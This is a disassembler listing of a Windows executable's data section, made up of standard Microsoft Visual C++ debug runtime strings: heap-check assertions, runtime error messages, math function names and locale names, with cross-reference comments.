dword_43C548	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41BEC0+5o
		dd offset sub_41BF1D
aErrorMemoryAll	db 'Error: memory allocation: bad memory block type.',0Ah,0
					; DATA XREF: sub_41BF80:loc_41C0EAo
					; sub_41C3F0:loc_41C570o
		align 4
aInvalidAllocat	db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_41BF80+11Bo
aS_19		db '%s',0               ; DATA XREF: sub_41BF80+BCo
					; sub_41BF80+16Fo ...
		align 10h
aClientHookAl_0	db 'Client hook allocation failure.',0Ah,0
					; DATA XREF: sub_41BF80:loc_41C037o
		align 4
aClientHookAllo	db 'Client hook allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_41BF80+94o
		align 4
aDbgheap_c	db 'dbgheap.c',0        ; DATA XREF: sub_41BF80+31o
					; sub_41C3F0+77o ...
		align 4
a_crtcheckmemor	db '_CrtCheckMemory()',0 ; DATA XREF: sub_41BF80+25o
					; sub_41C3F0+6Bo ...
		align 10h
dword_43C630	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41C360+5o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 41h
a_pfirstblockPo	db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_41C3F0+499o
		align 4
a_plastblockPol	db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_41C3F0+445o
		align 4
aFreallocFreall	db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
					; DATA XREF: sub_41C3F0:loc_41C7D6o
		align 4
a_block_typePol	db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
					; DATA XREF: sub_41C3F0+277o
		align 4
aPoldblockNline	db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
					; DATA XREF: sub_41C3F0:loc_41C601o
		db 'REQ',0
		align 4
a_crtisvalidhea	db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_41C3F0+1B6o
					; sub_41CA80+A8o ...
		align 10h
aAllocationTooL	db 'Allocation too large or negative: %u bytes.',0Ah,0
					; DATA XREF: sub_41C3F0+136o
		align 10h
aClientHookRe_0	db 'Client hook re-allocation failure.',0Ah,0
					; DATA XREF: sub_41C3F0:loc_41C4EFo
aClientHookReAl	db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_41C3F0+DCo
		align 10h
dword_43C7E0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41C940+5o
		dd offset sub_41C9A3
		align 10h
dword_43C7F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CA10+5o
		dd offset sub_41CA62
a_pfirstblockPh	db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41CA80+35Do
		align 4
a_plastblockPhe	db '_pLastBlock == pHead',0 ; DATA XREF: sub_41CA80+307o
		align 4
aPheadNblockuse	db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41CA80+29Co
					; sub_41CE90+133o
		align 4
aPheadNlineIgno	db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
					; DATA XREF: sub_41CA80:loc_41CCA4o
		align 4
aDamageAfterHsB	db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41CA80+1E5o
					; sub_41D1D0+265o
		align 4
aDamageBeforeHs	db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41CA80+17Fo
					; sub_41D1D0+208o
		align 4
a_block_type_is	db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41CA80+10Ao
					; sub_41CE90+E2o ...
		align 4
aClientHookFree	db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41CA80:loc_41CAEDo
		align 4
dword_43C928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CE90+5o
		dd offset sub_41D001
		align 8
dword_43C938	dd 0FFFFFFFFh, 0	; DATA XREF: .packed:0041D045o
		dd offset sub_41D0FD
aMemoryCheckErr	db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
					; DATA XREF: sub_41D140+54o
		align 10h
aHsLocatedAt0x0	db '%hs located at 0x%08X is %u bytes long.',0Ah,0
					; DATA XREF: sub_41D1D0+33Ao
		align 4
aHsAllocatedAtF	db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41D1D0+307o
aDamageOnTopOfF	db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
					; DATA XREF: sub_41D1D0+2BEo
		align 4
aDamaged	db 'DAMAGED',0          ; DATA XREF: sub_41D1D0:loc_41D3A4o
a_heapchkFail_3	db '_heapchk fails with unknown return value!',0Ah,0
					; DATA XREF: sub_41D1D0:loc_41D2FCo
		align 4
a_heapchkFail_2	db '_heapchk fails with _HEAPBADPTR.',0Ah,0
					; DATA XREF: sub_41D1D0:loc_41D2D4o
		align 10h
a_heapchkFail_1	db '_heapchk fails with _HEAPBADEND.',0Ah,0
					; DATA XREF: sub_41D1D0:loc_41D2ACo
		align 4
a_heapchkFail_0	db '_heapchk fails with _HEAPBADNODE.',0Ah,0
					; DATA XREF: sub_41D1D0:loc_41D284o
		align 4
a_heapchkFailsW	db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
					; DATA XREF: sub_41D1D0:loc_41D259o
		align 10h
dword_43CAC0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D1D0+5o
		dd offset sub_41D545
		align 10h
dword_43CAD0	dd 0FFFFFFFFh, 0	; DATA XREF: .packed:0041D5B5o
		dd offset sub_41D63D
		align 10h
dword_43CAE0	dd 0FFFFFFFFh, 0	; DATA XREF: .packed:0041D7E5o
		dd offset sub_41D8E6
aBadMemoryBlock	db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41D930+13Co
		align 10h
a_crtmemcheckpo	db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
					; DATA XREF: sub_41D930:loc_41D959o
dword_43CB38	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D930+5o
		dd offset sub_41DAB8
a_crtmemdiffere	db '_CrtMemDifference: NULL state pointer.',0Ah,0
					; DATA XREF: .packed:loc_41DB02o
aObjectDumpComp	db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41DC10:loc_41DECCo
		align 4
aCrtBlockAt0x08	db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_41DC10+271o
		align 4
aNormalBlockAt0	db 'normal block at 0x%08X, %u bytes long.',0Ah,0
					; DATA XREF: sub_41DC10+214o
aClientBlockAt0	db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_41DC10+1A9o
aLd		db '{%ld} ',0           ; DATA XREF: sub_41DC10+15Ao
		align 4
aHsD		db '%hs(%d) : ',0       ; DATA XREF: sub_41DC10+132o
		align 4
aFileErrorD	db '#File Error#(%d) : ',0 ; DATA XREF: sub_41DC10+101o
aDumpingObjects	db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41DC10:loc_41DC4Bo
dword_43CC50	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41DC10+5o
		dd offset sub_41DEC1
aDataSS		db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41DF10+ECo
a_2x		db '%.2X ',0            ; DATA XREF: sub_41DF10+BFo
		align 4
aDetectedMemory	db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_41E030:loc_41E064o
aTotalAllocatio	db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .packed:0041E14Do
		align 4
aLargestNumberU	db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .packed:0041E125o
		align 10h
aLdBytesInLdHsB	db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .packed:0041E0FBo
		align 10h
aMode_t0	db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E390+95o
		align 4
aModeNull	db 'mode != NULL',0     ; DATA XREF: sub_41E390+67o
					; sub_4277D0+4Fo
		align 4
aFile_t0	db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E390+3Do
		align 4
aFopen_c	db 'fopen.c',0          ; DATA XREF: sub_41E390+18o
					; sub_41E390+46o ...
aFileNull	db 'file != NULL',0     ; DATA XREF: sub_41E390+Fo
		align 10h
aFormatNull	db 'format != NULL',0   ; DATA XREF: sub_41EA60+45o
					; sub_41EC30+45o ...
		align 10h
aSprintf_c	db 'sprintf.c',0        ; DATA XREF: sub_41EA60+24o
					; sub_41EA60+4Eo ...
		align 4
aStringNull	db 'string != NULL',0   ; DATA XREF: sub_41EA60+1Bo
					; sub_41EC30+1Bo ...
		align 4
aFgets_c	db 'fgets.c',0          ; DATA XREF: sub_41EFB0+24o
					; sub_41EFB0+4Eo
aFprintf_c	db 'fprintf.c',0        ; DATA XREF: sub_41F4E0+1Eo
					; sub_41F4E0+48o
		align 10h
aVsprintf_c	db 'vsprintf.c',0       ; DATA XREF: sub_41F9C0+1Eo
					; sub_41F9C0+48o
		align 4
aSscanf_c	db 'sscanf.c',0         ; DATA XREF: sub_41FF30+24o
					; sub_41FF30+4Eo
		align 4
dbl_43CD98	dq 1.0			; DATA XREF: sub_41FFF0+99r
					; sub_420210+99r ...
dword_43CDA0	dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_420B80+62o
dword_43CDAC	dd 78656E6Fh, 632E7469h, 0 ; DATA XREF:	sub_420C50+2Eo
					; sub_420D30+8o
dword_43CDB8	dd 65657366h, 632E6Bh	; DATA XREF: sub_420FE0+16o
					; sub_421050+19o
dword_43CDC0	dd 75727473h, 632E7270h, 0 ; DATA XREF:	sub_421620+133o
dword_43CDCC	dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_421F10+32o
dword_43CDD8	dd 3D212073h, 4C554E20h, 4Ch, 0	; DATA XREF: sub_421F10+29o
dword_43CDE8	dd 0FFFFFFFFh, 422232h,	42224Dh	; DATA XREF: sub_422100+5o
dword_43CDF4	dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh
					; DATA XREF: sub_4222D0+31o
					; sub_4222D0+65o ...
		dd 64656C69h, 0
aError		db 'Error',0            ; DATA XREF: .packed:00451BA8o
		align 4
aWarning	db 'Warning',0          ; DATA XREF: .packed:off_451BA4o
aSDS		db '%s(%d) : %s',0      ; DATA XREF: sub_422610+1FFo
asc_43CE2C:				; DATA XREF: sub_422610:loc_4227E6o
		dw 0Ah
		unicode	0, <>,0
asc_43CE30:				; DATA XREF: sub_422610+1C2o
		dw 0Dh
		unicode	0, <>,0
aAssertionFai_0	db 'Assertion failed!',0 ; DATA XREF: sub_422610:loc_422785o
		align 4
aAssertionFaile	db 'Assertion failed: ',0 ; DATA XREF: sub_422610+169o
		align 4
a_crtdbgreportS	db '_CrtDbgReport: String too long or IO Error',0
					; DATA XREF: sub_422610+149o
					; sub_422610+21Co ...
		align 4
aSecondChanceAs	db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
					; DATA XREF: sub_422610+E6o
		align 4
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: sub_422610+B6o
		align 4
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_422610+9Co
					; sub_430AA0+16o
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_4229A0+2C2o
		align 4
aDebugSProgramS	db 'Debug %s!',0Ah      ; DATA XREF: sub_4229A0+28Co
		db 0Ah
		db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
		db 0Ah
		db '(Press Retry to debug the application)',0
		align 4
aModule		db 0Ah			; DATA XREF: sub_4229A0+221o
		db 'Module: ',0
		align 4
aFile_1		db 0Ah			; DATA XREF: sub_4229A0+1E1o
		db 'File: ',0
aLine		db 0Ah			; DATA XREF: sub_4229A0+1AAo
		db 'Line: ',0
asc_43CF68	db 0Ah			; DATA XREF: sub_4229A0+173o
					; sub_42FF30+171o
		db 0Ah,0
		align 4
aExpression	db 'Expression: ',0     ; DATA XREF: sub_4229A0+153o
		align 4
dword_43CF7C	dd 0			; DATA XREF: sub_4229A0:loc_422ABAo
					; sub_4229A0:loc_422AD9o ...
aForInformation	db 0Ah			; DATA XREF: sub_4229A0+10Eo
		db 0Ah
		db 'For information on how your program can cause an assertion',0Ah
		db 'failure, see the Visual C++ documentation on asserts.',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4229A0+9Co
					; sub_4229A0+F4o ...
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4229A0+56o
					; sub_42FF30+EDo
		align 10h
aDbgrpt_c	db 'dbgrpt.c',0         ; DATA XREF: sub_4229A0+1Fo
		align 4
aSzusermessageN	db 'szUserMessage != NULL',0 ; DATA XREF: sub_4229A0+13o
		align 4
a_freebuf_c	db '_freebuf.c',0       ; DATA XREF: sub_422DE0+15o
		align 10h
aMlock_c	db 'mlock.c',0          ; DATA XREF: sub_423280+16o
dword_43D048	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4234C0+5o
		dd offset sub_423525
		dd 0FFFFFFFFh, 0
		dd offset sub_4235A7
dword_43D060	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423620+5o
		dd offset sub_4236C1
		dd 0FFFFFFFFh, 0
		dd offset sub_4237BA
dword_43D078	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423830+5o
		dd offset sub_4239F8
		dd 0FFFFFFFFh, 0
		dd offset sub_423C0F
dword_43D090	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423CD0+5o
		dd offset sub_423D4B
		dd 0FFFFFFFFh, 0
		dd offset sub_423DCD
dword_43D0A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423E20+5o
		dd offset sub_423E82
		dd 0FFFFFFFFh, 0
		dd offset sub_423EC7
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_426C90+B9o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_426C90+5Ao
		align 10h
a_filbuf_c	db '_filbuf.c',0        ; DATA XREF: sub_427100+18o
		align 4
a_open_c	db '_open.c',0          ; DATA XREF: sub_4277D0+2Eo
					; sub_4277D0+58o ...
aFilenameNull	db 'filename != NULL',0 ; DATA XREF: sub_4277D0+25o
		align 4
aStream_c	db 'stream.c',0         ; DATA XREF: sub_427B60+C1o
		align 4
aInconsistentIo	db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
					; DATA XREF: sub_427CE0+162o
		align 4
a_flsbuf_c	db '_flsbuf.c',0        ; DATA XREF: sub_427CE0+18o
					; sub_427CE0+16Eo
		align 10h
byte_43D170	db 6			; DATA XREF: sub_427F60+8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .packed:off_453EC0o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .packed:off_453EBCo
		align 4
aOutput_c	db 'output.c',0         ; DATA XREF: sub_427F60+122o
		align 10h
aCh_t0		db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_427F60+116o
		align 10h
aTidtable_c	db 'tidtable.c',0       ; DATA XREF: sub_428E00+23o
					; sub_428EE0+29o
		align 4
a_sftbuf_c	db '_sftbuf.c',0        ; DATA XREF: sub_429C90+18o
					; sub_429C90+B2o ...
		align 4
aFlag0Flag1	db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_429DF0+13o
		align 10h
aInput_c	db 'input.c',0          ; DATA XREF: sub_429E90+1Eo
					; sub_429E90+4Bo
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog_0		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .packed:off_45413Co
		align 10h
dbl_43D2F0	dq 0.0			; DATA XREF: sub_42BAE0+D7r
					; sub_42BAE0+11Ar ...
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_42C430+1Ao
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_42C430+6o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_42C710:loc_42C788o
		align 4
dword_43D328	dd 0FFFFFFFFh, 42D1B9h,	42D1C6h, 0 ; DATA XREF:	sub_42D120+5o
dword_43D338	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42D310+5o
		dd offset sub_42D3ED
		align 8
		dd offset loc_42D3AE
		dd offset loc_42D3BB
dword_43D350	dd 0FFFFFFFFh, 42D70Ch,	42D712h, 0 ; DATA XREF:	sub_42D4B0+5o
dword_43D360	dd 0FFFFFFFFh, 42D78Eh,	42D79Dh, 0 ; DATA XREF:	sub_42D730+5o
dword_43D370	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42D860+5o
		dd offset sub_42D8CE
		align 10h
		dd offset loc_42D8B0
		dd offset loc_42D8B6
dword_43D388	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42D910+5o
		dd offset sub_42D97A
		align 8
		dd offset loc_42D95C
		dd offset loc_42D962
aLc_time	db 'LC_TIME',0          ; DATA XREF: .packed:004543BCo
aLc_numeric	db 'LC_NUMERIC',0       ; DATA XREF: .packed:004543B0o
		align 4
aLc_monetary	db 'LC_MONETARY',0      ; DATA XREF: .packed:004543A4o
aLc_ctype	db 'LC_CTYPE',0         ; DATA XREF: .packed:00454398o
		align 4
aLc_collate	db 'LC_COLLATE',0       ; DATA XREF: .packed:0045438Co
		align 4
aLc_all		db 'LC_ALL',0           ; DATA XREF: .packed:off_454380o
		align 10h
asc_43D3E0:				; DATA XREF: .packed:loc_42DC43o
					; sub_42E020+83o
		unicode	0, <;>,0
asc_43D3E4	db '=;',0               ; DATA XREF: .packed:loc_42DB71o
		align 4
aSetlocal_c	db 'setlocal.c',0       ; DATA XREF: sub_42DE80+3Eo
					; sub_42E020+1Bo
		align 4
asc_43D3F4:				; DATA XREF: sub_42E020+5Bo
		unicode	0, <=>,0
a___0		db '_.,',0              ; DATA XREF: sub_42E310:loc_42E382o
a__3:					; DATA XREF: sub_42E470+50o
					; sub_4342F0:loc_4344EBo
		unicode	0, <.>,0
a__4:					; DATA XREF: sub_42E470+25o
		unicode	0, <_>,0
aFtell_c	db 'ftell.c',0          ; DATA XREF: .packed:0042E646o
					; sub_42E6A0+18o
dword_43D40C	dd 0			; DATA XREF: sub_42EC50+5Do
					; sub_431210+58o ...
dword_43D410	dd 2 dup(0)		; DATA XREF: sub_42EC50+35o
					; sub_431210+35o ...
dword_43D418	dd 0FFFFFFFFh, 42ED96h,	42ED9Ch, 0FFFFFFFFh, 42EE8Ch, 42EE92h
					; DATA XREF: sub_42EC50+5o
dword_43D430	dd 65647473h, 2E70766Eh, 63h ; DATA XREF: sub_42F290+5Bo
					; sub_42F290+D0o
dword_43D43C	dd 61647473h, 2E766772h, 63h ; DATA XREF: sub_42F3E0+72o
dword_43D448	dd 6E655F61h, 632E76h	; DATA XREF: sub_42F8F0+E8o
					; sub_42F8F0+1C6o
dword_43D450	dd 6E696F69h, 632E7469h, 0 ; DATA XREF:	sub_42FB10+Bo
					; sub_42FB10+106o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
		dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
		dd 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .packed:off_45447Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42FF30+1A4o
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_42FF30:loc_43007Ao
		db 0Ah
		db 'Program: ',0
		align 4
aWinsig_c	db 'winsig.c',0         ; DATA XREF: .packed:00430651o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_430AA0+5Fo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_430AA0:loc_430AEBo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_430AA0+2Ao
aOsfinfo_c	db 'osfinfo.c',0        ; DATA XREF: sub_430B60+138o
		align 8
dword_43D778	dd 0FFFFFFFFh, 431354h,	43135Ah	; DATA XREF: sub_431210+5o
dword_43D784	dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_4313D0+16o
					; sub_4313D0+48o
dword_43D790	dd 6F74626Dh, 632E6377h, 0 ; DATA XREF:	sub_431C20+21o
aMb_cur_max1Mb_	db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_431C20+18o
		align 10h
aUngetc_c	db 'ungetc.c',0         ; DATA XREF: .packed:00431DB6o
					; sub_431E10+16o
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTzset_c	db 'tzset.c',0          ; DATA XREF: sub_433090+1D1o
aTz		db 'TZ',0               ; DATA XREF: sub_433090+35o
		align 4
aInittime_c	db 'inittime.c',0       ; DATA XREF: sub_433970+13o
		align 4
aInitnum_c	db 'initnum.c',0        ; DATA XREF: sub_4342F0+1CFo
					; sub_4342F0+215o ...
		align 10h
aInitmon_c	db 'initmon.c',0        ; DATA XREF: sub_434620+13o
		align 4
aInitctyp_c	db 'initctyp.c',0       ; DATA XREF: sub_434A80+52o
					; sub_434A80+6Bo ...
		align 4
aParaguay	db 'Paraguay',0
		align 4
aUruguay	db 'Uruguay',0
aChile		db 'Chile',0            ; DATA XREF: .packed:00454AA4o
		align 4
aEcuador	db 'Ecuador',0          ; DATA XREF: .packed:00454A78o
aArgentina	db 'Argentina',0
		align 4
aPeru		db 'Peru',0
		align 10h
aColombia	db 'Colombia',0         ; DATA XREF: .packed:004549F4o
		align 4
aVenezuela	db 'Venezuela',0
		align 4
aDominicanRepub	db 'Dominican Republic',0 ; DATA XREF: .packed:0045499Co
		align 4
aSouthAfrica	db 'South Africa',0
		align 4
aPanama		db 'Panama',0           ; DATA XREF: .packed:00454944o
		align 4
aLuxembourg	db 'Luxembourg',0       ; DATA XREF: .packed:00454918o
		align 10h
aCostaRica	db 'Costa Rica',0       ; DATA XREF: .packed:004548ECo
		align 4
aSwitzerland	db 'Switzerland',0
aGuatemala	db 'Guatemala',0        ; DATA XREF: .packed:00454894o
		align 4
aCanada		db 'Canada',0           ; DATA XREF: .packed:00454868o
		align 4
aSpanishModernS	db 'Spanish - Modern Sort',0 ; DATA XREF: .packed:00454834o
		align 4
aAustralia	db 'Australia',0        ; DATA XREF: .packed:00454810o
		align 10h
aEnglish	db 'English',0          ; DATA XREF: .packed:00454808o
					; .packed:00454968o
aAustria	db 'Austria',0          ; DATA XREF: .packed:004547E4o
aGerman		db 'German',0           ; DATA XREF: .packed:004547DCo
		align 4
aBelgium	db 'Belgium',0          ; DATA XREF: .packed:004547B8o
aMexico		db 'Mexico',0           ; DATA XREF: .packed:0045478Co
		align 4
aSpanish	db 'Spanish',0          ; DATA XREF: .packed:00454784o
					; .packed:0045488Co ...
aBasque		db 'Basque',0           ; DATA XREF: .packed:00454758o
		align 4
aSweden		db 'Sweden',0           ; DATA XREF: .packed:00454734o
		align 10h
aSwedish	db 'Swedish',0          ; DATA XREF: .packed:0045472Co
aIceland	db 'Iceland',0          ; DATA XREF: .packed:00454708o
aIcelandic	db 'Icelandic',0        ; DATA XREF: .packed:00454700o
		align 4
aFrance		db 'France',0           ; DATA XREF: .packed:004546DCo
		align 4
aFrench		db 'French',0           ; DATA XREF: .packed:004546D4o
					; .packed:004547B0o ...
		align 4
aFinland	db 'Finland',0          ; DATA XREF: .packed:004546B0o
aFinnish	db 'Finnish',0          ; DATA XREF: .packed:004546A8o
aSpain		db 'Spain',0            ; DATA XREF: .packed:off_454684o
					; .packed:00454760o ...
		align 4
aSpanishTraditi	db 'Spanish - Traditional Sort',0 ; DATA XREF: .packed:off_45467Co
		align 10h
aUnitedStates	db 'united-states',0    ; DATA XREF: .packed:00454BD0o
		align 10h
aUnitedKingdom	db 'united-kingdom',0   ; DATA XREF: .packed:00454BC8o
		align 10h
aTrinidadTobago	db 'trinidad & tobago',0 ; DATA XREF: .packed:00454BB8o
		align 4
aSouthKorea	db 'south-korea',0      ; DATA XREF: .packed:00454BB0o
aSouthAfrica_0	db 'south-africa',0     ; DATA XREF: .packed:00454BA8o
		align 10h
aSouthKorea_0	db 'south korea',0      ; DATA XREF: .packed:00454BA0o
aSouthAfrica_1	db 'south africa',0     ; DATA XREF: .packed:00454B98o
		align 4
aSlovak		db 'slovak',0           ; DATA XREF: .packed:00454B90o
		align 4
aPuertoRico	db 'puerto-rico',0      ; DATA XREF: .packed:00454B88o
aPrChina	db 'pr-china',0         ; DATA XREF: .packed:00454B80o
		align 4
aPrChina_0	db 'pr china',0         ; DATA XREF: .packed:00454B78o
		align 4
aNz		db 'nz',0               ; DATA XREF: .packed:00454B70o
		align 4
aNewZealand	db 'new-zealand',0      ; DATA XREF: .packed:00454B68o
aHongKong	db 'hong-kong',0        ; DATA XREF: .packed:00454B60o
		align 4
aHolland	db 'holland',0          ; DATA XREF: .packed:00454B58o
aGreatBritain	db 'great britain',0    ; DATA XREF: .packed:00454B50o
		align 4
aEngland	db 'england',0          ; DATA XREF: .packed:00454B48o
aCzech		db 'czech',0            ; DATA XREF: .packed:00454B40o
		align 4
aChina		db 'china',0            ; DATA XREF: .packed:00454B38o
		align 4
aBritain	db 'britain',0          ; DATA XREF: .packed:00454B30o
aAmerica	db 'america',0          ; DATA XREF: .packed:off_454B28o
aUsa		db 'usa',0
aUs		db 'us',0               ; DATA XREF: .packed:00454BD8o
		align 4
aUk		db 'uk',0               ; DATA XREF: .packed:00454BC0o
		align 10h
aSwiss		db 'swiss',0
		align 4
aSwedishFinland	db 'swedish-finland',0
aSpanishVenezue	db 'spanish-venezuela',0
		align 4
aSpanishUruguay	db 'spanish-uruguay',0
aSpanishPuertoR	db 'spanish-puerto rico',0
aSpanishPeru	db 'spanish-peru',0
		align 10h
aSpanishParagua	db 'spanish-paraguay',0
		align 4
aSpanishPanama	db 'spanish-panama',0
		align 4
aSpanishNicarag	db 'spanish-nicaragua',0
		align 4
aSpanishModern	db 'spanish-modern',0
		align 4
aSpanishMexican	db 'spanish-mexican',0
aSpanishHondura	db 'spanish-honduras',0
		align 4
aSpanishGuatema	db 'spanish-guatemala',0
		align 10h
aSpanishElSalva	db 'spanish-el salvador',0
aSpanishEcuador	db 'spanish-ecuador',0
aSpanishDominic	db 'spanish-dominican republic',0
		align 10h
aSpanishCostaRi	db 'spanish-costa rica',0
		align 4
aSpanishColombi	db 'spanish-colombia',0
		align 4
aSpanishChile	db 'spanish-chile',0
		align 4
aSpanishBolivia	db 'spanish-bolivia',0
aSpanishArgenti	db 'spanish-argentina',0
		align 4
aPortugueseBraz	db 'portuguese-brazilian',0
		align 4
aNorwegianNynor	db 'norwegian-nynorsk',0
		align 4
